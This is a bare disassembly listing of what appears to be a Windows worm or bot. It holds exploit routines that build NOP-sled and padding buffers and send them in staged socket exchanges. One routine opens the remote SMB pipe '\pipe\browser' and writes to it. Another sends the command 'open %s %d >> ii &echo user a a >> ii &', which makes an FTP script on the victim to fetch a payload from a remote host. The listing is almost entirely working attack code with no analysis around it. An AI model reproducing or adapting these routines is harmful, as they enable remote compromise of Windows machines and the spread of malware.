		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset dword_4467B4
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jnz	short loc_4256C2


loc_4256AE:				; CODE XREF: sub_4253C0+F3j
					; sub_4253C0+120j ...
		lea	ecx, [esp+440h+var_434]
		mov	[esp+440h+var_4], ebx
		call	sub_401226


loc_4256BE:				; CODE XREF: sub_4253C0+6Fj
					; sub_4253C0+85j
		xor	al, al
		jmp	short loc_4256EA
; ---------------------------------------------------------------------------


loc_4256C2:				; CODE XREF: sub_4253C0+2ECj
		push	0
		lea	ecx, [esp+444h+var_40C]
		push	400h
		push	ecx
		push	esi
		call	edi	; recv
		push	esi
		call	near ptr 71AB9639h
		nop
		lea	ecx, [esp+440h+var_434]
		mov	[esp+440h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_4256EA:				; CODE XREF: sub_4253C0+300j
		mov	ecx, [esp+440h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 434h
		retn
sub_4253C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4257F0	proc near		; CODE XREF: sub_40180Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_28		= byte ptr  2Ch
arg_2C		= byte ptr  30h
arg_2F		= byte ptr  33h
arg_59		= byte ptr  5Dh
arg_5B		= byte ptr  5Fh
arg_5C		= byte ptr  60h
arg_90		= byte ptr  94h
arg_A4		= byte ptr  0A8h
arg_A5		= byte ptr  0A9h
arg_F0		= byte ptr  0F4h
arg_190		= byte ptr  194h
arg_89C		= dword	ptr  8A0h
arg_8AC		= byte ptr  8B0h
arg_8D4		= dword	ptr  8D8h
arg_8E4		= byte ptr  8E8h
arg_C08		= dword	ptr  0C0Ch
arg_C0C		= dword	ptr  0C10h
arg_C18		= byte ptr  0C1Ch
arg_E30		= byte ptr  0E34h
arg_E50		= byte ptr  0E54h
arg_E70		= byte ptr  0E74h
arg_E90		= byte ptr  0E94h
arg_1480	= byte ptr  1484h
arg_14E0	= byte ptr  14E4h
arg_14FC	= byte ptr  1500h
arg_1CCC	= byte ptr  1CD0h
arg_2177	= byte ptr  217Bh
arg_2464	= byte ptr  2468h
arg_24C5	= byte ptr  24C9h
arg_34F8	= byte ptr  34FCh
arg_3FA0	= byte ptr  3FA4h
arg_3FC0	= byte ptr  3FC4h
arg_401C	= byte ptr  4020h
arg_401D	= byte ptr  4021h
arg_4020	= byte ptr  4024h
arg_4030	= byte ptr  4034h
arg_4AF4	= byte ptr  4AF8h
arg_6098	= byte ptr  609Ch
arg_60F8	= byte ptr  60FCh
arg_6100	= byte ptr  6104h
arg_8140	= byte ptr  8144h
arg_81DC	= byte ptr  81E0h
arg_8234	= dword	ptr  8238h
arg_8290	= dword	ptr  8294h
arg_8294	= dword	ptr  8298h

		mov	eax, 81D8h
		call	sub_437B30
		mov	eax, dword_446914
		mov	ecx, dword_446918
		push	ebx
		push	ebp
		push	esi
		lea	edx, [esp+0Ch+arg_81DC]
		push	edi
		mov	[esp+10h], eax
		push	edx
		lea	eax, [esp+14h+arg_4]
		push	offset dword_446908
		push	eax
		mov	[esp+1Ch+arg_0], ecx
		call	sub_5F74D1
		nop
		add	esp, 0Ch
		xor	eax, eax
		lea	ecx, [esp+10h+arg_A5]


loc_425835:				; CODE XREF: sub_4257F0+56j
		mov	dl, [esp+eax+10h+arg_4]
		inc	eax
		mov	[ecx-1], dl
		mov	byte ptr [ecx],	0
		add	ecx, 2
		cmp	eax, 28h
		jl	short loc_425835
		mov	ecx, 18h
		mov	esi, offset dword_4461D8
		lea	edi, [esp+10h+arg_2C]
		xor	eax, eax
		rep movsd
		lea	edi, [esp+10h+arg_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	esi, [esp+10h+arg_A4]
		shl	ecx, 1
		mov	eax, ecx
		lea	edi, [esp+10h+arg_5C]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		mov	edx, dword_44622F
		rep movsb
		lea	edi, [esp+10h+arg_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		mov	eax, dword_446233
		dec	ecx
		lea	edi, [esp+10h+arg_4]
		lea	ecx, [esp+ecx*2+10h+arg_5B]
		mov	[ecx], edx
		mov	dl, byte_446237
		mov	[ecx+4], eax
		xor	eax, eax
		mov	[ecx+8], dl
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+10h+arg_4]
		mov	ebx, ecx
		or	ecx, 0FFFFFFFFh
		add	bl, 1Ah
		shl	bl, 1
		repne scasb
		mov	ax, word_510118
		mov	[esp+10h+arg_2F], bl
		not	ecx
		dec	ecx
		push	eax
		shl	cl, 1
		add	cl, 9
		mov	[esp+14h+arg_59], cl
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+14h+arg_8294]
		xor	eax, 9999h
		test	edx, edx
		mov	word_445ED8, ax
		jz	loc_4259E3
		mov	ecx, 36Bh
		mov	eax, 90909090h
		lea	edi, [esp+14h+arg_F0]
		mov	edx, dword_4465CC[edx*8]
		rep stosd
		mov	edi, offset loc_445E28
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	esi, offset loc_445E28
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h+arg_8E4]
		mov	eax, ecx
		mov	[esp+14h+arg_8D4], edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, dword_446900
		mov	edi, offset loc_445E28
		mov	[esp+14h+arg_C08], ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+14h+arg_C0C], edx
		mov	edx, ecx
		mov	esi, offset loc_445E28
		lea	edi, [esp+14h+arg_C18]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+14h+arg_24C5]


loc_42598F:				; CODE XREF: sub_4257F0+1B5j
		mov	dl, [esp+eax+14h+arg_F0]
		inc	eax
		mov	[ecx-1], dl
		mov	byte ptr [ecx],	0
		add	ecx, 2
		cmp	eax, 0DACh
		jl	short loc_42598F
		mov	ecx, 714h
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_60F8]
		mov	[esp+14h+arg_401C], 0
		rep stosd
		stosw
		mov	ecx, 714h
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_4020]
		mov	[esp+14h+arg_401D], 0
		rep stosd
		stosw
		jmp	short loc_425A52
; ---------------------------------------------------------------------------


loc_4259E3:				; CODE XREF: sub_4257F0+10Bj
		mov	ecx, 1F4h
		mov	eax, 90909090h
		lea	edi, [esp+14h+arg_F0]
		mov	esi, offset loc_445E28
		rep stosd
		mov	edi, offset loc_445E28
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h+arg_190]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+14h+var_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	esi, [esp+14h+var_4]
		mov	edx, ecx
		lea	edi, [esp+14h+arg_8AC]
		shr	ecx, 2
		rep movsd
		mov	eax, dword_4465CC
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[esp+14h+arg_89C], eax


loc_425A52:				; CODE XREF: sub_4257F0+1F1j
		mov	ecx, 38Ah
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_14E0]
		mov	ebp, [esp+14h+arg_8290]
		rep stosd
		movsx	ecx, bl
		mov	ebx, dword_511CA0
		add	ecx, 4
		push	0
		lea	edx, [esp+18h+arg_28]
		push	ecx
		push	edx
		push	ebp
		stosb
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425A96
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425A96:				; CODE XREF: sub_4257F0+297j
		mov	esi, dword_511CA4
		push	0
		lea	eax, [esp+28h+arg_E90]
		push	640h
		push	eax
		push	ebp
		call	esi	; recv
		push	0
		push	68h
		push	offset dword_44623C
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425ACC
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425ACC:				; CODE XREF: sub_4257F0+2CDj
		push	0
		lea	ecx, [esp+48h+arg_E70]
		push	640h
		push	ecx
		push	ebp
		call	esi	; recv
		push	0
		push	0A0h
		push	offset dword_4462A8
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425AFF
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425AFF:				; CODE XREF: sub_4257F0+300j
		push	0
		lea	edx, [esp+68h+arg_E50]
		push	640h
		push	edx
		push	ebp
		call	esi	; recv
		mov	eax, [esp+74h+arg_8234]
		test	eax, eax
		jz	loc_425BE5
		mov	ecx, 1Ah
		mov	esi, offset dword_446460
		lea	edi, [esp+74h+arg_6098]
		push	0
		rep movsd
		mov	ecx, 6D6h
		lea	esi, [esp+78h+arg_2464]
		lea	edi, [esp+78h+arg_6100]
		lea	eax, [esp+78h+arg_6098]
		rep movsd
		movsw
		mov	ecx, 1Ch
		mov	esi, offset dword_4464CC
		lea	edi, [esp+78h+arg_3FC0]
		push	10FCh
		rep movsd
		mov	ecx, 297h
		lea	esi, [esp+7Ch+arg_34F8]
		lea	edi, [esp+7Ch+arg_4030]
		push	eax
		rep movsd
		movsw
		mov	ecx, 21h
		mov	esi, offset dword_446540
		lea	edi, [esp+80h+arg_4AF4]
		push	ebp
		rep movsd
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425BAB
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_4257F0+3ACj
		push	0
		lea	ecx, [esp+88h+arg_E30]
		push	640h
		push	ecx
		push	ebp
		nop
		call	near ptr 71AB615Ah
		push	0
		lea	edx, [esp+98h+arg_3FA0]
		push	0FDCh
		push	edx
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425C4C
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425BE5:				; CODE XREF: sub_4257F0+32Aj
		mov	ecx, 1Fh
		mov	esi, offset dword_44634C
		lea	edi, [esp+74h+arg_1480]
		push	0
		rep movsd
		mov	ecx, 1F4h
		lea	esi, [esp+78h+arg_90]
		lea	edi, [esp+78h+arg_14FC]
		lea	eax, [esp+78h+arg_1480]
		rep movsd
		mov	ecx, 24h
		mov	esi, offset off_4463CC
		lea	edi, [esp+78h+arg_1CCC]
		push	0CF8h
		push	eax
		push	ebp
		rep movsd
		mov	[esp+84h+arg_2177], 0
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425C4C
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425C4C:				; CODE XREF: sub_4257F0+3E6j
					; sub_4257F0+44Dj
		push	12Ch
		call	near ptr 2830000h
		nop
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+164h+arg_8140]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_4013BB
		add	esp, 0BCh
		test	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		setnz	al
		add	esp, 81D8h
		retn
sub_4257F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 130h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_425DC0:				; CODE XREF: ___:00401DCAj
		sub	esp, 650h
		xor	eax, eax
		push	ebx
		mov	[esp+4], eax
		push	esi
		mov	[esp+0Ch], eax
		lea	ecx, [esp+660h]
		push	edi
		mov	[esp+14h], eax
		push	ecx
		mov	[esp+1Ch], eax
		mov	word ptr [esp+10h], 2
		nop
		call	near ptr 71AB2BF4h
		mov	edx, [esp+6FEh]
		mov	[esp+10h], eax
		push	edx
		call	near ptr 71AB2B66h
		nop
		push	6
		push	1
		push	2
		mov	[esp+1Ah], ax
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_425E26
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E26:				; CODE XREF: ___:00425E18j
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425E45
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E45:				; CODE XREF: ___:00425E37j
		mov	edi, dword_511CA0
		push	0
		push	89h
		push	offset dword_445FC0
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425E6B
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E6B:				; CODE XREF: ___:00425E5Dj
		mov	esi, dword_511CA4
		push	0
		lea	ecx, [esp+20h]
		push	640h
		push	ecx
		push	ebx
		call	esi	; recv
		push	0
		push	0A8h
		push	offset dword_44604C
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425EA0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425EA0:				; CODE XREF: ___:00425E92j
		push	0
		lea	edx, [esp+20h]
		push	640h
		push	edx
		push	ebx
		call	esi	; recv
		push	0
		push	0DEh
		push	offset dword_4460F8
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425ECF
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425ECF:				; CODE XREF: ___:00425EC1j
		push	0
		lea	eax, [esp+20h]
		push	640h
		push	eax
		push	ebx
		call	esi	; recv
		movsx	eax, byte ptr [esp+60h]
		sub	eax, 30h
		jz	short loc_425EFB
		dec	eax
		jz	short loc_425EF7
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425EF7:				; CODE XREF: ___:00425EE9j
		push	0
		jmp	short loc_425F2E
; ---------------------------------------------------------------------------


loc_425EFB:				; CODE XREF: ___:00425EE6j
		push	2
		push	ebx
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+724h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40180C
		add	esp, 0C4h
		test	al, al
		jz	short loc_425F2C
		mov	esi, 1
		jmp	short loc_425F5A
; ---------------------------------------------------------------------------


loc_425F2C:				; CODE XREF: ___:00425F23j
		push	1


loc_425F2E:				; CODE XREF: ___:00425EF9j
		push	ebx
		mov	ecx, 2Eh
		sub	esp, 0BCh
		lea	esi, [esp+724h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40180C
		add	esp, 0C4h
		neg	al
		sbb	eax, eax
		neg	eax
		mov	esi, eax


loc_425F5A:				; CODE XREF: ___:00425F2Aj
		push	ebx
		nop
		call	near ptr 71AB9639h
		test	esi, esi
		jz	short loc_425F88
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+71Ch]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_425F88:				; CODE XREF: ___:00425F63j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426020:				; CODE XREF: ___:00401E51j
		push	edi
		push	0C8h
		nop
		call	near ptr 2830000h
		mov	edx, [esp+0Ch]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		mov	eax, [esp+8]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		pop	edi
		setnz	al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426070	proc near		; CODE XREF: sub_401A55j

var_5A0		= dword	ptr -5A0h
var_59C		= dword	ptr -59Ch
var_598		= dword	ptr -598h
var_594		= dword	ptr -594h
var_590		= byte ptr -590h
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_BC		= dword	ptr  0C0h

		sub	esp, 5A0h
		xor	eax, eax
		push	ebx
		mov	[esp+5A4h+var_5A0], eax
		push	ebp
		mov	[esp+5A8h+var_59C], eax
		push	esi
		lea	ecx, [esp+5ACh+arg_4]
		push	edi
		mov	[esp+5B0h+var_598], eax
		push	ecx
		mov	[esp+5B4h+var_594], eax
		mov	word ptr [esp+5B4h+var_5A0], 2
		nop
		call	near ptr 71AB2BF4h
		mov	edx, [esp+5B0h+arg_BC]
		mov	[esp+5B0h+var_59C], eax
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	0
		push	1
		push	2
		mov	word ptr [esp+5BCh+var_5A0+2], ax
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4260D8
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4260D8:				; CODE XREF: sub_426070+59j
		lea	eax, [esp+5B0h+var_5A0]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4260F8
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4260F8:				; CODE XREF: sub_426070+79j
		push	0
		lea	ecx, [esp+5B4h+var_400]
		push	400h
		push	ecx
		push	esi
		nop
		call	near ptr 71AB615Ah
		mov	ecx, offset byte_449521
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_449521
		call	sub_4017EE
		mov	edx, dword_44965F
		push	eax
		mov	eax, [esp+5B8h+arg_0]
		push	edx
		push	eax
		call	sub_401E10
		mov	ebx, dword_511AE4
		add	esp, 4
		lea	ecx, [esp+5BCh+var_590]
		push	eax
		push	offset aOpenSDIiEchoUs ; "open %s %d >>	ii &echo user a	a >> ii	&"...
		push	190h
		push	ecx
		call	ebx	; _snprintf
		lea	edi, [esp+5CCh+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 1Ch
		repne scasb
		mov	ebp, dword_511CA0
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+5B4h+var_590]
		push	ecx
		push	edx
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_426187
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_426187:				; CODE XREF: sub_426070+108j
		push	1F4h
		nop
		call	near ptr 2830000h
		mov	ecx, offset byte_449521
		call	sub_4017EE
		push	eax
		push	offset aS_3	; "%s\r\n"
		lea	eax, [esp+5B8h+var_590]
		push	190h
		push	eax
		call	ebx	; _snprintf
		lea	edi, [esp+5C0h+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		lea	ecx, [esp+5B8h+var_590]
		push	ecx
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4261DC
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4261DC:				; CODE XREF: sub_426070+15Dj
		push	0
		lea	edx, [esp+5B4h+var_400]
		push	400h
		push	edx
		push	esi
		nop
		call	near ptr 71AB615Ah
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 5A0h
		retn
sub_426070	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426280:				; CODE XREF: ___:00402199j
		mov	eax, 1E88h
		call	sub_437B30
		push	esi
		push	edi
		mov	ecx, 20Ch
		xor	eax, eax
		lea	edi, [esp+238h]
		mov	esi, offset dword_4469BC
		rep stosd
		mov	ecx, 0FAh
		mov	eax, 90909090h
		lea	edi, [esp+0A68h]
		mov	edx, dword_51011C
		rep stosd
		mov	ecx, 56h
		lea	edi, [esp+0CDEh]
		rep movsd
		mov	eax, dword_446C34
		mov	ecx, 10h
		movsw
		movsb
		lea	edi, [esp+0E50h]
		mov	esi, offset dword_44696C
		rep stosd
		mov	eax, dword_446C2C
		mov	ecx, 0Bh
		lea	edi, [esp+238h]
		rep movsd
		mov	ecx, 10Ah
		lea	esi, [esp+0A68h]
		lea	edi, [esp+270h]
		mov	[esp+264h], eax
		mov	[esp+268h], edx
		mov	[esp+26Ch], eax
		rep movsd
		mov	ecx, 7
		mov	esi, offset dword_44699C
		lea	edi, [esp+69Ch]
		mov	ax, word_446C28
		mov	[esp+698h], edx
		lea	edx, [esp+30h]
		rep movsd
		mov	esi, dword_511AE4
		lea	ecx, [esp+1E98h]
		push	ecx
		push	offset dword_446908
		push	104h
		push	edx
		mov	[esp+6BCh], ax
		call	esi	; _snprintf
		add	esp, 10h
		xor	edi, edi
		lea	ecx, [esp+10h]
		lea	eax, [esp+30h]
		push	edi
		push	offset byte_448F40
		push	offset byte_448F40
		push	ecx
		mov	[esp+24h], edi
		mov	[esp+30h], edi
		mov	[esp+3Ch], edi
		mov	[esp+34h], eax
		call	sub_4382AA
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_4263A5
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_4263A5:				; CODE XREF: ___:00426397j
		lea	edx, [esp+1E98h]
		lea	eax, [esp+134h]
		push	edx
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	104h
		push	eax
		call	esi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+134h]
		push	edi
		push	edi
		push	3
		push	edi
		push	edi
		push	0C0000000h
		push	ecx
		nop
		call	near ptr 2850000h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4263EF
		or	eax, eax
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_4263EF:				; CODE XREF: ___:004263E2j
		lea	edx, [esp+0Ch]
		push	edi
		push	edx
		lea	eax, [esp+0E98h]
		push	1000h
		push	eax
		push	49h
		push	offset dword_446920
		push	esi
		nop
		call	near ptr 2780000h
		test	eax, eax
		jnz	short loc_426427
		push	esi
		call	near ptr 2830906h
		nop
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_426427:				; CODE XREF: ___:00426412j
		lea	ecx, [esp+8]
		push	edi
		push	ecx
		lea	edx, [esp+240h]
		push	830h
		push	edx
		push	esi
		nop
		call	near ptr 27E0000h
		test	eax, eax
		jnz	short loc_426458
		push	esi
		nop
		call	near ptr 2830906h
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_426458:				; CODE XREF: ___:00426443j
		push	115Ch
		mov	ecx, 2Eh
		sub	esp, 0BCh
		lea	esi, [esp+1F54h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_401A55
		add	esp, 0C0h
		neg	al
		sbb	eax, eax
		pop	edi
		neg	eax
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426520	proc near		; CODE XREF: sub_4013CAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [esp+4+arg_0]
		not	ecx
		dec	ecx
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		pop	edi
		lea	eax, [ecx+edx*2+0C1h]
		retn
sub_426520	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426560	proc near		; CODE XREF: sub_401794j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	esi
		mov	esi, [esp+8+arg_C]
		push	esi
		push	ebx
		call	sub_4013CA
		mov	ecx, [esp+10h+arg_4]
		add	esp, 8
		cmp	eax, ecx
		mov	[esp+8+arg_8], eax
		jbe	short loc_426585
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426585:				; CODE XREF: sub_426560+1Ej
		push	ebp
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		xor	eax, eax
		mov	ebp, [esp+10h+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, offset dword_446C6C
		mov	eax, ecx
		mov	edi, ebp
		lea	ecx, [eax+edx+12h]
		mov	dword_446CD0, ecx
		lea	ecx, [eax+1]
		mov	dword_446CF1, ecx
		lea	ecx, [eax+17h]
		mov	dword_446CE9, ecx
		mov	ecx, 0FFFFFFEDh
		sub	ecx, eax
		mov	dword_446CFF, ecx
		mov	ecx, 1Dh
		rep movsd
		mov	ecx, edx
		mov	esi, ebx
		mov	ebx, ecx
		lea	edi, [ebp+74h]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		add	edx, 74h
		and	ecx, 3
		rep movsb
		mov	esi, dword_446CE0
		lea	ecx, [edx+ebp]
		add	edx, 5
		mov	[ecx], esi
		mov	bl, byte_446CE4
		mov	esi, [esp+10h+arg_C]
		lea	edi, [edx+ebp]
		mov	[ecx+4], bl
		mov	ecx, eax
		mov	ebx, ecx
		add	edx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, dword_446CE5
		lea	ecx, [edx+ebp]
		add	edx, 10h
		mov	[ecx], esi
		mov	esi, dword_446CE9
		lea	edi, [edx+ebp]
		mov	[ecx+4], esi
		mov	esi, dword_446CED
		mov	[ecx+8], esi
		mov	esi, dword_446CF1
		mov	[ecx+0Ch], esi
		mov	esi, [esp+10h+arg_C]
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [edx+eax]
		mov	eax, [esp+10h+arg_8]
		add	edi, ebp
		mov	ecx, 0Eh
		mov	esi, offset byte_446CF5
		rep movsd
		pop	edi
		pop	ebp
		pop	esi
		pop	ebx
		retn
sub_426560	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4266D0	proc near		; CODE XREF: sub_402180j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4013CA
		push	eax
		call	sub_4017C6
		add	esp, 0Ch
		retn
sub_4266D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426700:				; CODE XREF: ___:0040173Fj
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	edi
		mov	edi, [esp+1Ch]
		push	edi
		push	ebx
		call	sub_402180
		mov	ebp, [esp+1Ch]
		add	esp, 8
		cmp	eax, ebp
		jbe	short loc_426723
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426723:				; CODE XREF: ___:0042671Bj
		cmp	eax, 0FFFFh
		jbe	short loc_426730
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426730:				; CODE XREF: ___:00426728j
		push	esi
		push	edi
		push	ebx
		call	sub_4013CA
		add	eax, 101h
		push	eax
		nop
